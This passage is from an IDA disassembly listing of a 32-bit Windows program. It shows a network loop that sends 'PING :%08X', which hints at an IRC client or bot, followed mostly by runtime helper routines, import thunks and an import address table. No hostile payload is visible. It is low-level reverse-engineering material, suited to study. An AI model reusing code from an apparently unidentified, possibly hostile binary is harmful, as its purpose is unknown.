jnz short loc_416A62
call sub_410422
push eax
push offset aPing08x ; "PING :%08X"
call sub_40D6CB
pop ecx
pop ecx
jmp short loc_416A6F
; ---------------------------------------------------------------------------
loc_416A62: ; CODE XREF: sub_4167F1+25Bj
mov eax, [ebp+var_101C]
inc eax
mov [ebp+var_101C], eax
loc_416A6F: ; CODE XREF: sub_4167F1+26Fj
jmp short loc_416A20
; ---------------------------------------------------------------------------
loc_416A71: ; CODE XREF: sub_4167F1+243j
push 1000h
lea eax, [ebp+var_1018]
push eax
call sub_40CF25
push eax
call sub_4053DC
add esp, 0Ch
mov [ebp-1124h], eax
cmp dword ptr [ebp-1124h], 0
jz short loc_416AA3
cmp dword ptr [ebp-1124h], 0FFFFFFFFh
jnz short loc_416AAC
loc_416AA3: ; CODE XREF: sub_4167F1+2A7j
and [ebp+var_4], 0
jmp loc_4169F8
; ---------------------------------------------------------------------------
loc_416AAC: ; CODE XREF: sub_4167F1+2B0j
and [ebp+var_101C], 0
lea eax, [ebp+var_1018]
push eax
call sub_40E943
pop ecx
jmp loc_416A20
sub_4167F1 endp
; ---------------------------------------------------------------------------
loc_416AC5: ; DATA XREF: .rdata:004172A8o
push offset aLoop ; "loop"
push offset aMain ; "main"
push dword ptr [ebp-14h]
call sub_40332B
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_416ADB: ; DATA XREF: .rdata:004172A8o
mov esp, [ebp-18h]
and dword ptr [ebp-4], 0
jmp loc_416A19
; ---------------------------------------------------------------------------
push offset aEntry ; "entry"
push offset aMain ; "main"
push dword ptr [ebp-14h]
call sub_40332B
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword_41DE38, 0
jz short loc_416B1E
push offset dword_41DD54
push offset dword_41DAB4
call sub_40D4AB
pop ecx
pop ecx
loc_416B1E: ; CODE XREF: .text:00416B0Bj
call ds:dword_417254 ; WSACleanup
push 0
call sub_416BFC ; exit
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B3A proc near ; CODE XREF: sub_401000+3Cp
; sub_4020C2+62p ...
jmp ds:dword_41712C
sub_416B3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B40 proc near ; CODE XREF: sub_401146+7Ap
; sub_4017AA+Ep ...
jmp ds:dword_4171BC
sub_416B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B46 proc near ; CODE XREF: sub_401244+85p
; sub_4017AA+22p ...
jmp ds:dword_4171B8
sub_416B46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B4C proc near ; CODE XREF: sub_401244+25p
; sub_401244+4DEp ...
jmp ds:dword_4171B4
sub_416B4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B52 proc near ; CODE XREF: sub_401244+1Ap
; sub_401981+18p ...
jmp ds:dword_4171B0
sub_416B52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap
; sub_4024F3+88p ...
jmp ds:dword_4171AC
sub_416B58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp
; sub_4055E5+231p ...
jmp ds:dword_4171A8
sub_416B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp
; sub_4018AF+5Dp ...
jmp ds:dword_4171A4
sub_416B64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B6A proc near ; CODE XREF: sub_401981+145p
; sub_401981+158p ...
jmp ds:dword_4171A0
sub_416B6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p
; sub_403260+4Cp ...
jmp ds:dword_41719C
sub_416B70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp
; sub_4020C2+1A6p ...
jmp ds:dword_417198
sub_416B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B7C proc near ; CODE XREF: sub_401E38+179p
; sub_402698+24Cp ...
jmp ds:dword_417194
sub_416B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp
; sub_401E38+262p ...
jmp ds:dword_417190
sub_416B82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B88 proc near ; CODE XREF: sub_401E38+42p
; sub_4020C2+159p ...
jmp ds:dword_41718C
sub_416B88 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p
; sub_41102F+94p ...
jmp ds:dword_417188
sub_416B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B96 proc near ; CODE XREF: sub_4020C2+198p
; sub_4020C2+1BCp ...
jmp ds:dword_417184
sub_416B96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416B9C proc near ; CODE XREF: sub_4024F3+26p
; sub_4024F3+46p ...
jmp ds:dword_417180
sub_416B9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BA2 proc near ; CODE XREF: sub_402698+160p
; sub_40CA29+F6p ...
jmp ds:dword_41717C
sub_416BA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BA8 proc near ; CODE XREF: sub_402698+CCp
; sub_402698+110p ...
jmp ds:dword_417178
sub_416BA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BAE proc near ; CODE XREF: sub_402698+4Bp
; sub_4083AD+3DFp ...
jmp ds:dword_417174
sub_416BAE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p
; sub_40546E+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_416BE0
loc_416BCC: ; CODE XREF: sub_416BC0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_416BCC
loc_416BE0: ; CODE XREF: sub_416BC0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_416BC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp
; sub_4041B7+28p ...
jmp ds:dword_417170
sub_416BF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BF6 proc near ; CODE XREF: sub_406041+67p
jmp ds:dword_41716C
sub_416BF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p
; .text:00416B26p
jmp ds:dword_417168
sub_416BFC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416C10 proc near ; CODE XREF: sub_40821B+61p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_416C31
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_416C81
; ---------------------------------------------------------------------------
loc_416C31: ; CODE XREF: sub_416C10+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_416C3F: ; CODE XREF: sub_416C10+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_416C3F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_416C6A
cmp edx, [esp+4+arg_4]
ja short loc_416C6A
jb short loc_416C72
cmp eax, [esp+4+arg_0]
jbe short loc_416C72
loc_416C6A: ; CODE XREF: sub_416C10+4Aj
; sub_416C10+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_416C72: ; CODE XREF: sub_416C10+52j
; sub_416C10+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_416C81: ; CODE XREF: sub_416C10+1Fj
pop ebx
retn 10h
sub_416C10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416C90 proc near ; CODE XREF: sub_40821B+30p
; sub_40821B+3Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_416CB2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_416CF3
; ---------------------------------------------------------------------------
loc_416CB2: ; CODE XREF: sub_416C90+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_416CC0: ; CODE XREF: sub_416C90+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_416CC0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_416CEE
cmp edx, [esp+8+arg_4]
ja short loc_416CEE
jb short loc_416CEF
cmp eax, [esp+8+arg_0]
jbe short loc_416CEF
loc_416CEE: ; CODE XREF: sub_416C90+4Ej
; sub_416C90+54j
dec esi
loc_416CEF: ; CODE XREF: sub_416C90+56j
; sub_416C90+5Cj
xor edx, edx
mov eax, esi
loc_416CF3: ; CODE XREF: sub_416C90+20j
pop esi
pop ebx
retn 10h
sub_416C90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp
; sub_409226+5Cp ...
jmp ds:dword_417164
sub_416CF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416CFE proc near ; CODE XREF: sub_409226+55p
; sub_4092A4+55p ...
jmp ds:dword_417160
sub_416CFE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416D10 proc near ; CODE XREF: sub_409226+42p
; sub_4092A4+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_416D31
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_416D31: ; CODE XREF: sub_416D10+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_416D4D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_416D4D: ; CODE XREF: sub_416D10+27j
or eax, eax
jnz short loc_416D69
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_416DAA
; ---------------------------------------------------------------------------
loc_416D69: ; CODE XREF: sub_416D10+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_416D77: ; CODE XREF: sub_416D10+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_416D77
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_416DA5
cmp edx, [esp+0Ch+arg_4]
ja short loc_416DA5
jb short loc_416DA6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_416DA6
loc_416DA5: ; CODE XREF: sub_416D10+85j
; sub_416D10+8Bj
dec esi
loc_416DA6: ; CODE XREF: sub_416D10+8Dj
; sub_416D10+93j
xor edx, edx
mov eax, esi
loc_416DAA: ; CODE XREF: sub_416D10+57j
dec edi
jnz short loc_416DB4
neg edx
neg eax
sbb edx, 0
loc_416DB4: ; CODE XREF: sub_416D10+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_416D10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao
; sub_4094E6+Ao ...
jmp ds:dword_41715C
sub_416DBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DC0 proc near ; CODE XREF: sub_409479+41p
; sub_4095A4+162p
jmp ds:dword_417158
sub_416DC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp
jmp ds:dword_417154
sub_416DC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DCC proc near ; CODE XREF: sub_409CB1+105p
; sub_409CB1+114p ...
jmp ds:dword_417150
sub_416DCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p
; sub_409CB1+88p
jmp ds:dword_41714C
sub_416DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap
; sub_409DD0+13Bp
jmp ds:dword_417148
sub_416DD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep
; sub_40A9CF+1F6p ...
jmp ds:dword_417144
sub_416DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p
jmp ds:dword_417140
sub_416DE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp
jmp ds:dword_41713C
sub_416DEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DF0 proc near ; CODE XREF: sub_40D420+47p
; sub_40D4AB+50p ...
jmp ds:dword_417138
sub_416DF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp
; sub_40EF59+C1p
jmp ds:dword_417134
sub_416DF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416DFC proc near ; CODE XREF: sub_40F040+52p
; sub_40F040+A8p
jmp ds:dword_417130
sub_416DFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep
jmp ds:dword_417128
sub_416E02 endp
; ---------------------------------------------------------------------------
loc_416E08: ; CODE XREF: .text:00416FE2j
jmp ds:dword_417124
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416E10 proc near ; CODE XREF: sub_414EF4+5p
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_416E10 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep
; sub_4048EF+2CFp ...
jmp ds:dword_4171F8
sub_416E30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp
; sub_414EF4+1E2p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_416EAF
retn 4
sub_416E40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E4E proc near ; CODE XREF: sub_414EF4+134p
; sub_414EF4+2D8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
and [ebp+var_4], 0
test eax, eax
jz short loc_416EA0
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push offset dword_41DDD0
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_416EA0
mov eax, [ebp+arg_4]
push esi
push [ebp+arg_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
test esi, esi
pop esi
jnz short loc_416EA0
lea eax, [ebp+var_4]
push eax
push 0
call ds:dword_4171C8
test eax, eax
jz short loc_416EA0
and [ebp+var_4], 0
loc_416EA0: ; CODE XREF: sub_416E4E+Dj
; sub_416E4E+1Fj ...
push [ebp+var_4]
push [ebp+arg_0]
call sub_416EAF
leave
retn 0Ch
sub_416E4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EAF proc near ; CODE XREF: sub_416E40+6p
; sub_416E4E+58p
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
lea ecx, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416ED3
lea eax, [ebp+var_10]
push offset dword_4173B8
push eax
call sub_416FA2 ; _CxxThrowException
sub_416EAF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
push esi
mov esi, ecx
and dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov eax, [esp+4+arg_4]
mov dword ptr [esi], offset off_4172B4
test eax, eax
mov [esi+8], eax
jz short loc_416EFF
cmp [esp+4+arg_8], 0
jz short loc_416EFF
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_416EFF: ; CODE XREF: sub_416ED3+1Dj
; sub_416ED3+24j
mov eax, esi
pop esi
retn 0Ch
sub_416ED3 endp
; =============== S U B R O U T I N E =======================================
sub_416F05 proc near ; DATA XREF: .rdata:off_4172B4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_416F4E
test [esp+4+arg_0], 1
jz short loc_416F1B
push esi
call sub_416DCC ; ??3@YAXPAX@Z
pop ecx
loc_416F1B: ; CODE XREF: sub_416F05+Dj
mov eax, esi
pop esi
retn 4
sub_416F05 endp
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push esi
mov esi, ecx
mov ecx, [eax+4]
mov [esi+4], ecx
mov eax, [eax+8]
and dword ptr [esi+0Ch], 0
mov [esi+8], eax
test eax, eax
mov dword ptr [esi], offset off_4172B4
jz short loc_416F48
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_416F48: ; CODE XREF: .text:00416F40j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_416F4E proc near ; CODE XREF: sub_416F05+3p
; DATA XREF: .rdata:004173BCo
push esi
mov esi, ecx
mov eax, [esi+8]
mov dword ptr [esi], offset off_4172B4
test eax, eax
jz short loc_416F64
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_416F64: ; CODE XREF: sub_416F4E+Ej
mov esi, [esi+0Ch]
test esi, esi
jz short loc_416F72
push esi
call ds:dword_4170B0 ; LocalFree
loc_416F72: ; CODE XREF: sub_416F4E+1Bj
pop esi
retn
sub_416F4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F74 proc near ; CODE XREF: sub_401244+120p
; sub_406E8E+DAp ...
jmp ds:dword_4171C0
sub_416F74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F7A proc near ; CODE XREF: sub_4020C2+113p
; sub_4038BA+22Fp ...
jmp ds:dword_417114
sub_416F7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416F80 proc near ; CODE XREF: sub_402A32+CCp
; sub_402A32+2B9p ...
jmp ds:dword_417118
sub_416F80 endp
; =============== S U B R O U T I N E =======================================
sub_416F86 proc near ; DATA XREF: .rdata:off_4172B4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_416FA8 ; ??1type_info@@UAE@XZ
test [esp+4+arg_0], 1
jz short loc_416F9C
push esi
call sub_416DCC ; ??3@YAXPAX@Z
pop ecx
loc_416F9C: ; CODE XREF: sub_416F86+Dj
mov eax, esi
pop esi
retn 4
sub_416F86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp
jmp ds:dword_41711C
sub_416FA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416FA8 proc near ; CODE XREF: sub_416F86+3p
jmp ds:dword_417120
sub_416FA8 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-0A00h]
call sub_415B3F
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
call sub_415B3F
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-0DF8h]
call sub_415B3F
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E14h]
call sub_415B3F
retn
; ---------------------------------------------------------------------------
loc_416FDD: ; DATA XREF: sub_414EF4o
mov eax, offset dword_417350
jmp loc_416E08
; ---------------------------------------------------------------------------
align 20h
_text ends
; Section 2. (virtual address 00017000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00017000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rdata segment para public 'CODE' use32
assume cs:_rdata
;org 417000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r
dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar
; sub_406C51+96r
dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r
; sub_406722+184r ...
dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r
; sub_4083AD+2DDr ...
dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r
dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r
dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r
dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r
dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r
; sub_4102AE+37r ...
dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r
dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r
; sub_406722+2F9r ...
align 10h
dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er
; sub_40D043+20Br ...
dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r
; sub_408342+4Br
dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r
dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr
; sub_414EF4+8EEr
dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r
dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r
; sub_406B81+95r ...
dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er
dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr
dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r
; sub_406AE7+15r ...
dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br
; sub_403BD3+32r ...
dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r
; sub_403BD3+4Dr ...
dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r
; sub_407148+18Br ...
dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr
; sub_406E8E+1FEr
dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r
; sub_409CB1+CFr ...
dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r
; sub_406D90+D3r
dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr
dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er
; sub_401981+D7r
dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r
; sub_401981+111r
dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr
dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r
; sub_406E8E+2A5r
dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r
dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r
dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br
dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r
; sub_40332B+1D0r ...
dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r
; sub_40332B+1D7r ...
dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r
; sub_406041+193r ...
dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr
; sub_406509+91r
dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r
; sub_401244+4F4r ...
dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r
; sub_406643+3Br
dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r
; sub_401244+4C1r ...
dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r
; sub_406E8E+22Ar ...
dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r
; sub_401E38+30r ...
dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er
dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r
dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r
dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar
dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r
dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r
dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br
; sub_408F2E+134r
dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar
; sub_408F2E+7Fr ...
dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er
; sub_4092A4:loc_409307r ...
dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r
; sub_4092A4+14r ...
dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar
; sub_4092A4+Ar ...
dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r
dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r
; sub_4098F3+1B6r
dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er
dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r
; sub_406643+19r
dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r
dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r
dword_4170F4 dd 77E78C17h ; DATA XREF: sub_4167F1+31r
dword_4170F8 dd 77E7C2C4h ; DATA XREF: sub_4167F1+A8r
dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr
; sub_414EF4+5BCr ...
dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r
dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r
dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br
; sub_414EF4+5CEr ...
dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r
dd 0
dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar
dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r
dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r
dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r
dword_417124 dd 77C21AD8h ; DATA XREF: .text:loc_416E08r
dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r
dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar
dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr
dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r
dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r
dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr
dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r
dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr
dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r
dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r
dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr
dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r
dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r
dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr
dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr
dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r
